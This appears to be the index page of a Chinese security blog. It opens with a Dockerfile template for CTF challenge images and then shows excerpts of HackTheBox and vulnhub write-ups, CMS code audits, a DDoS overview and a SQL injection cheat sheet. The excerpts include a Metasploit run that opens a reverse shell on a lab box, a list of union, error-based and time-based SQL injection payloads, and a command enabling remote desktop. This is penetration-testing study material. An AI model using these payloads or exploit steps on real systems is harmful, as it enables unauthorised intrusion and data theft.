有时候，在不同的环境下，我们需要更改中间件的配置，如Apache的配置文件apache2.conf、PHP的配置文件php.ini，那么就需要在Dockerfile里进行相应的编写。

下面给出常用的命令写法，更多细节请移步=>如何用Dockerfile构建镜像

Dockerfile样例

# 第一行写跟第1点中一样的基本镜像
FROM drupalci/php-5.5.38-apache:dev

# 这里可以写上你的姓名/昵称
MAINTAINER unc1e

# 这里可以写上你的制作时间
ENV REFRESHED_AT 2020年8月1日

# 使用utf-8编码
ENV LANG C.UTF-8

# 先写 修改源/更新 【如果必须的话】
# 替换源（这里可用sed或者直接COPY一个完整的sources.list来替换）
RUN sed -i 's/http:\/\/archive.ubuntu.com\/ubuntu\//http:\/\/mirrors.163.com\/ubuntu\//g' /etc/apt/sources.list

# 进行更新
RUN apt-get update -y

# 将环境变量设置为非交互的 【这个看个人】，在运行apt-get命令的时候格外有用，因为它会不停提示用户进行到了哪步并且需要不断确认
# 非交互模式会选择默认的选项并以最快的速度完成构建。
# 注意：ENV命令在整个容器运行过程中都会生效，在你通过BASH和容器进行交互时，可能因此出问题
ENV DEBIAN_FRONTEND noninteractive

# 修改一些配置
# 对于文件中的替换字符串，多使用sed命令
# 例如：去掉php响应头里的X-Powered-By
RUN sed -i 's/expose_php = On/expose_php = Off/' /usr/local/etc/php/php.ini

# 然后才是复制文件
# 不推荐挂载卷，因为常常需要将镜像导出为tar包文件
# ADD会自动解压压缩包，而COPY不会
ADD html.tgz /var/www

# 剩下一些操作（权限要控制好）
# 例如修改某个文件的所有者
RUN chown root:root /var/www/html/x.php

# WORKDIR:设置CMD指明的命令的运行目录。
WORKDIR /var/www/html/

# 最后处理flag以及开机启动项
# flag的规范格式为flag{uuid格式} （如：flag{8ba868f2-71b6-477b-bc7a-255302c881e1}
# 如有特殊情况请说明，但flag的格式至少需要有flag{}，不接受其他类型格式。
# 默认flag的值存在flag.txt，
# 如果flag是在数据库里，请记得把flag所在的字段长度设置为大于42
# 把flag.txt复制到/root/flag.txt
COPY flag.txt /root/flag.txt

# start.sh为开机启动脚本，里面包含容器开启后要启动的命令
COPY start.sh /root/start.sh

# 加上执行权限
RUN chmod +x /root/start.sh

# ENTRYPOINT：配置容器启动时的执行命令（不会被忽略，一定会被执行）
# 建议使用ENTRYPOINT而不使用CMD，因为CMD容易受最后的RUN命令影响
ENTRYPOINT cd /root; ./start.sh

# WEB开放端口默认为80，一般为一个，若有特殊情况，请写明
# 有文章指出：EXPOSE 指令是声明运行时容器提供服务端口，这只是一个声明，在运行时并不会因为这个声明应用就会开启这个端口的服务。文章来源是https://www.jianshu.com/p/78f4591b7ff0
EXPOSE 80

如何在WordPress里完美支持语雀导出的Markdown(支持图片)

Thu, 05 Nov 2020 19:38:57 +0800

语雀导出设置

WordPress设置

使用markdown插件

插件的名字叫:Editor.md

插件的高亮效果如下图所示

改header.php

在这里需要注意: 否则会出现在html中通过img标签引入的图片会报403。但是这个图片地址直接复制出来在地址栏打开，却是看得到的。这就是referer来源地址的问题

Rsync认证方式分析笔记（附爆破脚本）

Thu, 05 Nov 2020 17:32:03 +0800

某次渗透中遇到了rsync，是带密码的，虽然已经有爆破脚本了（例如cdxy前辈在POC-T框架中写的这一个），但前辈的脚本是py2的, 于是想着改写成py3，没想到还顺便分析了一下rsync的认证方式。下面就简单记录一下

【投稿】记一次受委托的产品安全测试

Thu, 29 Oct 2020 23:06:59 +0800

本文已参与阿里云先知社区的投稿。原创内容，转载请注明出处。

前言

一个平平无奇的周末，哥们儿发来消息，说自己手上有个产品安全测试搞不定，想让我帮帮忙——本来是不乐意的，但海底捞实在是香，所以有了这次受委托的产品安全测试。

小议DDoS攻击

Mon, 03 Aug 2020 12:51:38 +0800

每季度一次的“专项学习”，选择了老生常谈的主题：DDoS，希望可以给各位带来一些启发。

为避免各位看官太长不看，我直接上结论：

DDoS攻击的防护，是一项系统工程，没有一种方法绝对有效，是为No silver bullet。简单来说，系统架构、基础设施流量、业务逻辑、灾难预案等方面，在防DDoS方面均要下功夫。可参考本文的遇到DoS时怎么办部分
攻击趋势
1. 常见的DDoS：SYN大包攻击（核心原理：资源耗尽）、TCP/UDP反射型（核心原理：源IP伪造）
2. 游戏仍然是DDoS攻击最集中的行业，占整体分布的39%，另外直播、电商等行业也成为DDoS攻击的新目标
**已备案的正规业务，如果被DDoS的流量在100G以上，可以报案。**可参考本文的4 反制溯源部分

一、DDoS是什么

DDOS(Distributed Denial of Service)，又称分布式拒绝服务攻击。骇客通过控制多个肉鸡或服务器组成的僵尸网络，对目标发送大量看似合法请求，从而占用大量网络资源，瘫痪网络，阻止用户对网络资源的正常访问。

HackTheBox笔记：Shocker

Sun, 05 Jul 2020 00:45:31 +0800

Entry point

nmap

$ nmap -p- -sC -sV  -Pn 10.10.10.56 -oA allport
Nmap scan report for 10.10.10.56
Host is up (0.0037s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

hydra to brute SSH using fastrack.txt, nothing to gain.

/cgi-bin/

using binwalk and file, got nothing special

dir searching

python3 dirsearch.py -u http://10.10.10.56/ -e * 

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions:  | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6564 | Request count: 6564

Error Log: /opt/dirsearch/logs/errors-20-07-07_23-26-11.log

Target: http://10.10.10.56/

Output File: /opt/dirsearch/reports/10.10.10.56/20-07-07_23-26-16

[23:26:16] Starting: 
[23:28:27] 403 -  299B  - /.htaccess-dev
[23:28:27] 403 -  301B  - /.htaccess-local
[23:28:27] 403 -  301B  - /.htaccess-marco
[23:28:28] 403 -  298B  - /.htaccessBAK
[23:28:28] 403 -  299B  - /.htaccess.txt
[23:28:28] 403 -  302B  - /.htaccess.sample
[23:28:28] 403 -  299B  - /.htaccess.old
[23:28:28] 403 -  300B  - /.htaccess.orig
[23:28:28] 403 -  300B  - /.htaccess.save
[23:28:28] 403 -  300B  - /.htaccess.bak1
[23:28:28] 403 -  298B  - /.htaccessOLD
[23:28:28] 403 -  299B  - /.htaccessOLD2
[23:28:28] 403 -  299B  - /.htpasswd-old
[23:28:28] 403 -  297B  - /.httr-oauth
[23:34:58] 403 -  294B  - /cgi-bin/

after obtaining these, no progress.

HackTheBox：Active笔记

Sat, 27 Jun 2020 23:09:32 +0800

10.10.10.100

Nmap

#	nmap -p- -sC -sV -oA allport.nmap 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (0.0036s latency).
Not shown: 65512 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-27 14:12:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
49180/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m57s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-27T14:13:29
|_  start_date: 2020-06-27T12:57:05

用enum4linux工具扫描，发现smb服务是开着的，且有开放的共享目录

HackTheBox：DevOops笔记

Sat, 06 Jun 2020 19:19:24 +0800

Nmap


# nmap -p- -sV -sC 10.10.10.91 -oA scans/nmap

Nmap scan report for 10.10.10.91
Host is up (0.90s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

hydra试着用kali自带的fasttrack字典爆破ssh，无果

HackTheBox：Sense笔记

Fri, 29 May 2020 13:12:57 +0800

弄明白你打的网站，是什么cms，跑的什么中间件，靶机风评如何，很有必要！

10.10.10.60

Nmap

# nmap -p- -sC -sV 10.10.10.60

nmap scan report for 10.10.10.60
Host is up (0.0058s latency).
Not shown: 65533 filtered ports
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time

lighttpd 1.4.35

80端口会跳转到443，443端口是这个web

HackTheBox：Beep笔记

Mon, 25 May 2020 01:40:15 +0800

elastix

msf5 exploit(unix/http/freepbx_callmenum) > show options 

Module options (exploit/unix/http/freepbx_callmenum):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   EXTENSION  230-240              yes       A range of Local extension numbers
   Proxies    http:127.0.0.1:8080  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.7           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443                  yes       The target port (TCP)
   SSL        true                 no        Negotiate SSL/TLS for outgoing connections
   VHOST                           no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.122     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/http/freepbx_callmenum) > run

[*] Started reverse TCP double handler on 10.10.16.122:4444 
[*] 10.10.10.7:443 - Sending evil request with range 230
[*] 10.10.10.7:443 - Sending evil request with range 231
[*] 10.10.10.7:443 - Sending evil request with range 232
[*] 10.10.10.7:443 - Sending evil request with range 233
[*] 10.10.10.7:443 - Sending evil request with range 234
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qaF1oILSz5kNCclV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "qaF1oILSz5kNCclV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.16.122:4444 -> 10.10.10.7:39534) at 2020-05-25 01:37:26 +0800

issue to fix

set ssl true

HackTheBox：Legacy笔记

Mon, 18 May 2020 23:50:08 +0800

信息收集

Nmap

Nmap scan report for 10.10.10.4
Host is up (0.0050s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h30m01s, deviation: 2h07m16s, median: 4d23h00m01s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:b1:37 (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-05-23T20:26:09+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

HackTheBox：Solidstate笔记

Thu, 07 May 2020 18:01:39 +0800

10.10.10.51

信息收集

Nmap

粗略扫描下，发现好几个端口,

# nmap 10.10.10.51
Nmap scan report for 10.10.10.51
Host is up (1.0s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
119/tcp open  nntp


# 扫描全端口
## Nmap scan report for 10.10.10.51
Host is up (4.8s latency).
Not shown: 64192 closed ports, 1337 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  tcpwrapped
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.122 [10.10.16.122]), 
80/tcp   open  tcpwrapped
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  tcpwrapped
119/tcp  open  tcpwrapped
4555/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1134.71 seconds

首页发现一邮箱，试试爆破

HackTheBox：Postman笔记

Thu, 30 Apr 2020 23:39:20 +0800

10.10.10.160

信息收集

Nmap

# nmap 10.10.10.160 -p22,80,6379,10000 -sV -sC -oA scans/allport.nmap --min-rate 1000
Nmap scan report for postman (10.10.10.160)
Host is up (0.72s latency).
rDNS record for 10.10.10.160: Postman

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-server-header: MiniServ/1.910
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

亚洲这边到HTB欧洲服务器的延时真的高，不指定--min-rate扫全端口要半个多小时，指定了又要丢包，老是扫不到全端口，服气哦

HackTheBox：October笔记(PWN)

Fri, 24 Apr 2020 23:29:56 +0800

信息收集

Nmap

root@localhost:~/HTB/october# nmap  -p22,80 -sV -sC 10.10.10.16 --min-rate 1000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 14:48 UTC
Nmap scan report for 10.10.10.16
Host is up (0.54s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

+ Server: Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21

80端口：弱密码

一款叫october的cms，用searchsploit搜索，有一些漏洞，但有效利用还需要确定版本号，去github上看源代码中版本号的位置，存在网页根目录下的composer.json文件中，测试外部无法直接访问，changelog和readme里也无版本信息，作罢。后来拿下了www-data权限后，看到是版本1.0.412

HackTheBox：Grandpa笔记

Thu, 23 Apr 2020 21:11:22 +0800

信息收集

Nmap

root@localhost:~/HTB/grandpa# nmap -p- -sV -sC 10.10.10.14 -oA scans/allport.tcp

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Error
| http-webdav-scan: 
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_  Server Date: Thu, 23 Apr 2020 13:11:29 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

目录扫描

root@localhost:~/HTB/grandpa# dirb http://10.10.10.14 -o scans/dirb.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.14/ ----
==> DIRECTORY: http://10.10.10.14/_vti_bin/                                    
+ http://10.10.10.14/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:195)           
+ http://10.10.10.14/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:195)          
+ http://10.10.10.14/_vti_bin/shtml.dll (CODE:200|SIZE:96) 
==> DIRECTORY: http://10.10.10.14/_vti_bin/_vti_aut

HackTheBox：OpenAdmin笔记

Mon, 20 Apr 2020 15:51:26 +0800

信息收集

10.10.10.171

Nmap

# nmap -A 10.10.10.171 -oA nmap.tcp
Nmap scan report for 10.10.10.171
Host is up (0.34s latency).
Not shown: 993 closed ports
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1185/tcp  filtered catchpole
2046/tcp  filtered sdfunc
2701/tcp  filtered sms-rcinfo
2875/tcp  filtered dxmessagebase2
24444/tcp filtered unknown
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (93%), Linux 3.2 - 4.9 (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 3.10 (92%), Android 4.1.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   354.54 ms 10.10.14.1
2   354.49 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

80端口：enum more -> OpenNetAdmin

# dirb http://10.10.10.171/ -o dirb.scan
---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/                                                                          
	+ http://10.10.10.171/index.html (CODE:200|SIZE:10918)                                                               
==> DIRECTORY: http://10.10.10.171/music/                                                                            
	+ http://10.10.10.171/server-status (CODE:403|SIZE:277)                                                              
                                                                                                                     
---- Entering directory: http://10.10.10.171/artwork/ ----
==> DIRECTORY: http://10.10.10.171/artwork/css/                                                                      
==> DIRECTORY: http://10.10.10.171/artwork/fonts/

HackTheBox：Cronos笔记

Sat, 18 Apr 2020 23:15:54 +0800

信息收集

NMAP

# nmap -sV -sC -Pn -p-  --min-rate 1000 -oA scans\alltcp 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up (1.0s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口没东西。。。

HackTheBox：Bastard 笔记

Wed, 15 Apr 2020 21:49:28 +0800

最近在玩HackTheBox上的靶机，觉得还是可以学到不少东西，下面就由

如果也有想玩靶机的师傅，可以去注册个帐号玩玩，它注册的时候也需要完成一个类似CTF的题，还蛮有意思的。

【投稿】MKCMS代码审计小结

Fri, 10 Apr 2020 21:55:55 +0800

原文首发于先知社区MKCMS代码审计小结 - 先知社区

MKCMS V6.2 (以下源码来自网络)

MKCMS米酷影视源码6.2开源CMS

下载地址链接：https://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow 提取码：k3ox

备用下载地址：https://www.lanzous.com/ib7zwmh

.htaccess

SQLi-lab学习笔记

Sun, 05 Apr 2020 15:22:32 +0800

bypass

https://xz.aliyun.com/t/7767

ODBC：https://forum.butian.net/share/113

https://www.o2oxy.cn/2772.html

常用payload

# 测试！
LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

# UNION BASED
## 列出所有数据库
union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

# 列出数据库test中的所有表(均可用16进制)
union select group_concat(TABLE_name) from information_schema.tables where table_schema=`test`

# 列出（数据库：test 表：admin ）中所有的字段
union select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=`test` and TABLE_NAME=`admin`

UNION SELECT 1,2,group_concat( column_name,0x20)) from information_schema.columns

# valid queries
id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.schemata) -- +
id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.tables where table_schema='security')-- #
id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.columns where table_name='users') -- +

- 注意：group_concat可以不跟group by，但里面必须跟列名，而不能跟子查询
- 回显常常有长度限制


# ERROR BASED 报错注
updatexml('2',concat('~',(select current_user()),'~'),'2')-- -
extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1),'~'));-- -	
select from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )x-- -

- concat可用concat_ws替代，也可用group_concat整合结果


# BLIND SQL injection 盲注，延时注
id = 1" and sleep(0)='1' -- -
id=1" and if(1=1, sleep(3) , 1 ) -- -
id=1 and 1=(case when (2=2) then sleep(5) else 1 end) -- #

- 盲注似乎只能用是否延时，来确定是否闭合
- case when 后面的语句需要加括号，否则不能成功


 # 基本信息
		select @@basedir
		select @@datadir
		select current_user()

		select version()
		select @@version
		select database()
		select @@database
    
# POC
extractvalue(0X20, concat(0x5c, (VERSION（)),'~'));-- -

报错注入，需要语法无错误才可，该闭合的地方要闭合，如注释符（-- -）
得出结论，一般可以用盲注的地方也可以用outfile|dumpfile|load_file.
盲注可分为两类：布尔盲注+基于时间的盲注。

因为没有T/F的回显，即从响应上看不出任何差异（响应包括：响应大小/状态码/页内文字），只好采用延时函数, 一般来说，延时函数可以用sleep benchmark，不过下面的文章提到了一种新的延时方式。

WeCenter代码审计

Tue, 24 Mar 2020 17:55:09 +0800

此处为语雀卡片，点击链接查看

WeCenter代码审计

针对WeCenter 3.0.1的老版本作代码审计，~~顺便搞某台~~~~wecenter~~~~机器（~~学下mvc架构）

概览

全局的防注入函数，没毛病。不过假如数据库编码为gbk时，可用宽字节搞一波

用了mysql_real_escape_string，我们需要在执行sql语句之前调用一下mysql_set_charset函数，设置当前连接的字符集为gbk。否则仍然不能抵御宽字符注入。

BlueCMS代码审计小结

Sun, 12 Jan 2020 10:02:24 +0800

0x00 基础快捷键

Sublime

下一个词组：Ctrl+D
书签：Ctrl+F2、F2
展示函数：Ctrl+E
选中本行：Ctrl+L
匹配的括号：Ctrl+M

0x01 可重复安装

正常安装完成后，存在可重复安装的问题，因为install.lock未能生成.

NexusPHP代码审计小结

Fri, 10 Jan 2020 17:28:56 +0800

NexusPHP是用于P2P下载的资源分享类CMS，源码下载链接是https://github.com/ZJUT/NexusPHP

前置分析

[

](https://github.com/ZJUT/NexusPHP)

这套cms，存在全局过滤sql注入的函数sqlesc()

nexusphp/include/globalfunctions.php #75

**全局过滤之防止SQL注入1。**用mysql防注入函数转义，并且用单引号包裹住语句，导致无法注入引号，也无法引入变量（单引号中的$不会被识别成变量）

vulnhub-GoldenEye笔记

Thu, 26 Dec 2019 11:36:16 +0800

信息收集

# 25/tcp    open  smtp
| fingerprint-strings: 
|   Hello: 
|     220 ubuntu GoldentEye SMTP Electronic-Mail agent
|_    Syntax: EHLO hostname
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
# 80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
# 55006/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES TOP CAPA AUTH-RESP-CODE SASL(PLAIN) USER PIPELINING UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Issuer: commonName=localhost/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:23:52
| Not valid after:  2028-04-23T03:23:52
| MD5:   d039 2e71 c76a 2cb3 e694 ec40 7228 ec63
|_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77
|_ssl-date: TLS randomness does not represent time
# 55007/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: RESP-CODES SASL(PLAIN) TOP PIPELINING STLS CAPA AUTH-RESP-CODE USER UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Issuer: commonName=localhost/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:23:52
| Not valid after:  2028-04-23T03:23:52
| MD5:   d039 2e71 c76a 2cb3 e694 ec40 7228 ec63
|_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77
|_ssl-date: TLS randomness does not represent time

扫出两个端口，25端口尝试用smtp登录了下，失败